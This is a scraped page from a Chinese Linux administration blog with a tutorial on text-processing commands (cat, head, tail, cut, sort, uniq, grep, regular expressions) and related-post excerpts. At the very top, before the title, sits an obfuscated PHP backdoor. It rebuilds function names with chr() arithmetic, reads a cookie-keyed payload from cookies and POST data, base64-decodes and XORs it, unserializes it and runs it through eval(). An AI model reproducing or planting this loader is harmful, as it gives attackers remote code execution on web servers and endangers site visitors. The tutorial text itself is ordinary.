$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} 0806文本处理工具 | Linux运维部落

0806文本处理工具


———- 文件查看工具 ———-


cat:    cat [OPTION]… [FILE]…   //查看文本文件内容,一般后面跟文件名(相对路径),或者是文件名(绝对路径)

-n 加行号

-b 加行号,不给空白行加行号

-s 压缩空行,多个空行变一个空行

-T 显示tab\space

-A 显示所有控制符

-E 行尾$显示

        -v 处理Windows文本的M 和 ^      //在Linux中行尾是以$表示,而Windows文本中,行尾是以^M 表示

[root@localhost ~]# ll .bash
.bash_history  .bash_logout   .bash_profile  .bashrc        
[root@localhost ~]# ll .bashrc 
-rw-r--r--. 1 root root 176 Dec 28  2013 .bashrc
[[root@localhost ~]# cat -n .bashrc            //此处为相对路径, 加 -n  每一行行首加行号
     1	# .bashrc
     2	
     3	# User specific aliases and functions
     4	
     5	alias rm='rm -i'
     6	alias cp='cp -i'
     7	alias mv='mv -i'
     8	
     9	# Source global definitions
    10	if [ -f /etc/bashrc ]; then
    11		. /etc/bashrc
    12	fi

tac        tac [OPTION]… [FILE]…     //tac也是一个文本查看功能,功能比较简单,但显示的文本是倒序显示

[root@localhost ~]# tac .bashrc
fi
	. /etc/bashrc
if [ -f /etc/bashrc ]; then
# Source global definitions

alias mv='mv -i'
alias cp='cp -i'
alias rm='rm -i'

# User specific aliases and functions

# .bashrc

rev        rev [options] [file …]            //rev文本查看功能,但文本的每一行是都过来显示的

[root@localhost ~]# rev .bashrc
crhsab. #

snoitcnuf dna sesaila cificeps resU #

'i- mr'=mr saila
'i- pc'=pc saila
'i- vm'=vm saila

snoitinifed labolg ecruoS #
neht ;] crhsab/cte/ f- [ fi
crhsab/cte/ .	
if

分页查看文本工具

more:     more [options] file […]           //分页查看(不可向上翻)文件

        -d: 显示翻页及退出提示

! : ! command 可执行命令

less:                            //一页一页地查看文本,可以上下翻动,使用man手册查看命令是,就是使用了less查看命令的帮助手册

    Enter键 :下拉一行

    b 键    :向上翻一屏

    space键 :向下翻一屏

    d 键    :向下翻半屏

    w 键    :向上翻半屏

    输入!   :可以执行命令,再敲一下Enter键,继续浏览文本

    输入/   :可以在文本中根据输入的字符进行搜索

head :    head [OPTION]… [FILE]… //  看文件前n行(默认前10行)

     -n #|+#    前#行;若 -n -#显示到文本尾部倒数第n+1行

     -c #     显示前#个字符数,若 -#,文本的最后#个字符不显示出来

    -v        在显示的内容前加文本的名字

tail : tail [OPTION]… [FILE]…   //看文件后10行

-n #|-#    后#行;若 -n +#显示从文本头部第#行开始显示

-c #     指定获取后#字节

-f       监控文件变化,缺点  占用终端资源

& :      有更新就显示,不占用终端资源,后台运行

cut:   cut OPTION… [FILE]…   按列抽取文本

-b 指明分隔符,默认tab

-f FILEDS:

    #: 第#个字段

    #,#[,#]:离散的多个字段,例如1,3,6

            #-#:连续的多个字段, 例如1-6

    混合使用: 1-3,7

-c 按字符分割

[root@localhost ~]# cat -n /etc/passwd | cut -d: -f1,3 | head    抽取/etc/passwd内容并显示行号;以:为分隔符,选取第1和3列;只显示前10行
     1  root:0
     2	bin:1
     3	daemon:2
     4	adm:3
     5	lp:4
     6	sync:5
     7	shutdown:6
     8	halt:7
     9	mail:8
    10	operator:11

paste  :  paste [OPTION]… [FILE]…      合并两个文件同行号的列到一行

paste [OPTION]… [FILE]…

-d 分隔符:指定分隔符,默认用TAB

-s : 所有行合成一行显示

paste f1 f2

paste -s f1 f2

———- 文本分析工具 ———-


wc :收集文本统计数据

wc [OPTION]… [FILE]…

    wc [OPTION]… –files0-from=F

[root@localhost testdir]# wc /etc/passwd
  55   99    2732     /etc/passwd
  行数 字节数  字符数

    使用 -l 来只计数行数

    使用 -w 来只计数单词总数

    使用 -c 来只计数字节总数

    使用 -m 来只计数字符总数

sort :文本排序

sort [OPTION]… [FILE]…

sort [OPTION]… –files0-from=F

-r 执行反方向(由上至下)整理

-n 执行按数字大小整理;默认是则是以第一个数字在ASCII表中的大小进行排序

-f 选项忽略( fold)字符串中的字符大小写

-u 选项(独特, unique)删除输出中的重复行

-t c 选项使用c做为字段界定符        与cut不同,cut以-d设置分隔符,-f指定列,要区分

-k X 选项按照使用c字符分隔的X列来整理能够使用多次

[root@localhost ~]# sort -t: -k3 -n /etc/passwd |head       //以:为分隔符,选取第三列作数字大小(-n)进行排序;与cut不同,cut以-d设置分隔符,-f指定列,要区分
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin

uniq :从输入中删除重复的前后相接的行  // 连续且完全相同方为重复

uniq [OPTION]… [FILE]…

-c: 显示每行重复出现的次数;

-d: 仅显示重复过的行;

-u: 仅显示不曾重复的行;

常和sort 命令一起配合使用:

sort userlist.txt | uniq -c

———- Linux文本处理三剑客之 grep 正则表达式与扩展正则表达式 ———-


正则表达式:


grep  :  Global search REgular expression and Print out the line.作用:文本搜索工具,根据用户指定的“模式”对目标文本逐行进行匹配检查;打印匹配到的行;

模式:由正则表达式字符及文本字符所编写的过滤条件

 grep [OPTIONS] PATTERN [FILE…]

[root@localhost ~]# grep root /etc/passwd
root:x:0:0:root:/root:/bin/bash
operator:x:11:0:operator:/root:/sbin/nologin
[root@localhost ~]# grep "$USER" /etc/passwd
root:x:0:0:root:/root:/bin/bash
operator:x:11:0:operator:/root:/sbin/nologin
[root@localhost ~]# grep `whoami` /etc/passwd
root:x:0:0:root:/root:/bin/bash
operator:x:11:0:operator:/root:/sbin/nologin

grep命令选项:

–color=auto: 对匹配到的文本着色显示;

-v: 显示不能够被pattern匹配到的行;

-i: 忽略字符大小写

-n: 显示匹配的行号

-c: 统计匹配的行数

-o: 仅显示匹配到的字符串;

-q: 静默模式,不输出任何信息

-A #: after, 后#行

-B #: before, 前#行

-C #: context, 前后各#行

-e:实现多个选项间的逻辑or关系

grep –e ‘cat ’ -e ‘dog’ file

-w:整行匹配整个单词

-E:使用ERE

正则表达式:

REGEXP:由一类特殊字符及文本字符所编写的模式,其中有些字符(元字符)不表示字符字面意义,而表示控制或通配的功能

 程序支持: grep, vim, less,nginx等

 分两类:

基本正则表达式: BRE

扩展正则表达式: ERE

grep -E, egrep

 正则表达式引擎:

采用不同算法,检查处理正则表达式的软件模块

PCRE( Perl Compatible Regular Expressions)

 元字符分类:字符匹配、匹配次数、位置锚定、分组

 man 7 regex

grep中的通配符

字符匹配:

. : 匹配任意单个字符;

[] : 匹配指定范围内的任意单个字符

[^] :匹配指定范围外的任意单个字符

[:digit:]、 [:lower:]、 [:upper:]、 [:alpha:]、 [:alnum:]

、 [:punct:]、 [:space:]

匹配次数:用在要指定次数的字符后面,用于指定前面的字符要出现的次数

*:匹配前面的字符任意次,包括0次(与文本通配不同,文件通配是匹配零个或者多个字符,此处为重复次数)

贪婪模式:尽可能长的匹配

.*:任意长度的任意字符

\?:匹配其前面的字符0或1次

\+:匹配其前面的字符至少1次

\{m\}:匹配前面的字符m次

\{m,n\}:匹配前面的字符至少m次,至多n次

\{,n\}:匹配前面的字符至多n次

\{m,\}:匹配前面的字符至少m次

位置锚定:定位出现的位置

^:行首锚定,用于模式的最左侧

$:行尾锚定,用于模式的最右侧

^PATTERN$: 用于模式匹配整行

^$: 空行

^[[:space:]]*$ :空白行

\< 或 \b:词首锚定,用于单词模式的左侧

\> 或 \b:词尾锚定;用于单词模式的右侧

\<PATTERN\>:匹配整个单词

分组: \(\):将一个或多个字符捆绑在一起,当作一个整体进行处理,如: \(root\)\+

分组括号中的模式匹配到的内容会被正则表达式引擎记录于内部的变量中,这些变量的命名方式为: \1, \2, \3, …

\1: 从左侧起,第一个左括号以及与之匹配右括号之间的模式所匹配到的字符;

实例: \(string1\+\(string2\)*\)

\1: string1\+\(string2\)*

\2: string2

后向引用:引用前面的分组括号中的模式所匹配字符(而非模式本身)

扩展正则表达式:


egrep及扩展的正则表达式 : egrep = grep -E

 egrep [OPTIONS] PATTERN [FILE…]

字符匹配:

. 任意单个字符

[] 指定范围的字符

[^] 不在指定范围的字符

次数匹配:

*:匹配前面字符任意次

?: 0或1次

+: 1次或多次

{m}:匹配m次

{m,n}:至少m,至多n次

位置锚定:

^ :行首

$ :行尾

\<, \b :语首

\>, \b :语尾

分组:

()

后向引用: \1, \2, …

或者:

a|b

C|cat: C或cat

(C|c)at:Cat或cat

原创文章,作者:hunter,如若转载,请注明出处:http://www.178linux.com/30059

(0)
上一篇 2016-08-07 22:06
下一篇 2016-08-07 22:07

相关推荐

  • N28-第三周

    1. 列出當前系統上所有已經登入的用戶的用戶名,注意:同一個用戶登入多次,則只顯示一次即可。
    2. 取出最後登入到當前系統的用戶的相關信息。
    3. 取出當前系統上被用戶當做其默認shell的最多的那個shell。
    4. 將/etc/passwd中的第三個字段數值最大的後10個用戶的信息全部改為大寫後保存至/tmp/maxusers.txt文件中。
    5. 取出當前主機的IP地址,提示:對ifconfig命令的結果進行切分。
    6. 列出/etc目錄下所有以.conf結尾的文件的文件名,並將其名字轉換為大寫後保存至/tmp/etc.conf文件中。
    7. 顯示/var目錄下一級子目錄或文件的總各數。
    8. 取出/etc/group文件中第三個字段數值最小的10個組的名字。
    9. 將/etc/fstab和/etc/issue文件的內容合併為同一個內容後保存至/tmp/etc.test文件中。
    10. 請總結描述用戶和組管理類命令的使用方法並完成以下練習:
    (1) 創建組distro,其GID為2016。
    (2) 創建用戶mandriva,其ID號為1005,基本組為distro。
    (3) 創建用戶mageia,其ID號為1100,家目錄為/home/linux。
    (4) 給用戶mageia添加密碼,密碼為mageedu。
    (5) 刪除mandriva,但保留其家目錄。
    (6) 創建用戶slackware,其ID號為2002,基本組為distro,附加組peguin。
    (7) 修改slackware的默認shell為/bin/tcsh。
    (8) 為用戶slackware新增附加組admins。

    2017-12-19
  • 流编辑器Sed(Stream Edit)详解

    流编辑器Sed(Stream Edit)详解       Grep 、sed 和awk并称为文本三剑客。使用Grep就可以很好的实现文本查找的功能,而且简单有效。然而其却无法直接对其进行编辑,sed的出现便解决了这一问题。 Sed被称为流编辑器,它是一种新型的非交互式的文本编辑器,它逐行处理文件或输入,并将结…

    Linux干货 2016-08-22
  • Nginx/httpd 代理两个Tomcat

    Nginx 前端代理服务器172.16.71.1 从ftp下载Nginx 安装 vim /etc/nginx/nginx.confhttp {…# 添加以下内容upstream tcsrvs {         server 172.16.71.4:8080;        …

    Linux干货 2017-02-12
  • linux学习总结-linux基础(之一)

    一、计算机的组成及其功能 冯诺依曼结构的计算机由运算器、控制器、存储器和输入设备、输出设备五部分组成。冯诺依曼理论的要点是:数字计算机的数制采用二进制;计算机应该按照程序顺序执行。 控制器:控制程序执行; 存储器:记忆程序和数据; 输入设备:输入数据和程序; 输出设备:输出处理结果。 二、Linux发行版 Linux的发型版本众多,大体可以分为两类,一类是商…

    Linux干货 2016-09-23
  • 马哥教育网络班19期+第七周课程练习

    1、创建一个10G分区,并格式为ext4文件系统;   (1) 要求其block大小为2048, 预留空间百分比为2, 卷标为MYDATA, 默认挂载属性包含acl;         mke2fs -b 2048 -m 2 -L 'MYDATA' -o defau…

    Linux干货 2016-06-21
  • 马哥教育网络班21期第6周课程练习

    一、vim编辑器的使用 二、练习题 1、复制/etc/rc.d/rc.sysinit文件至/tmp目录,将/tmp/rc.sysinit文件中的以至少一个空白字符开头的行的行首加#; [root@www ~]# cp /etc/rc.d/rc.sysinit /tmp [root@www ~]# l…

    Linux干货 2016-08-15